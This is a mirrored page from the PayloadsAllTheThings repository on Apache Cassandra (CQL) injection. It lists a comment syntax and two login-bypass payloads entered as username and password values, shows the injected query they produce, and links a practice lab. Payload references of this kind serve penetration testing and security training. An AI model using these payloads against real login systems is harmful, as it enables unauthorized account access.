1
0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-09-28 19:31:56 +02:00
PayloadsAllTheThings/SQL Injection/Cassandra Injection.md
2019-10-29 19:42:49 +05:30

1011 B
Raw Blame History

Cassandra Injection

Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system

Summary

Cassandra comment

/* Cassandra Comment */

Cassandra - Login Bypass

Login Bypass 0

username: admin' ALLOW FILTERING; %00
password: ANY

Login Bypass 1

username: admin'/*
password: */and pass>'

The injection would look like the following SQL query

SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;

Example from EternalNoob : https://hack2learn.pw/cassandra/login.php

References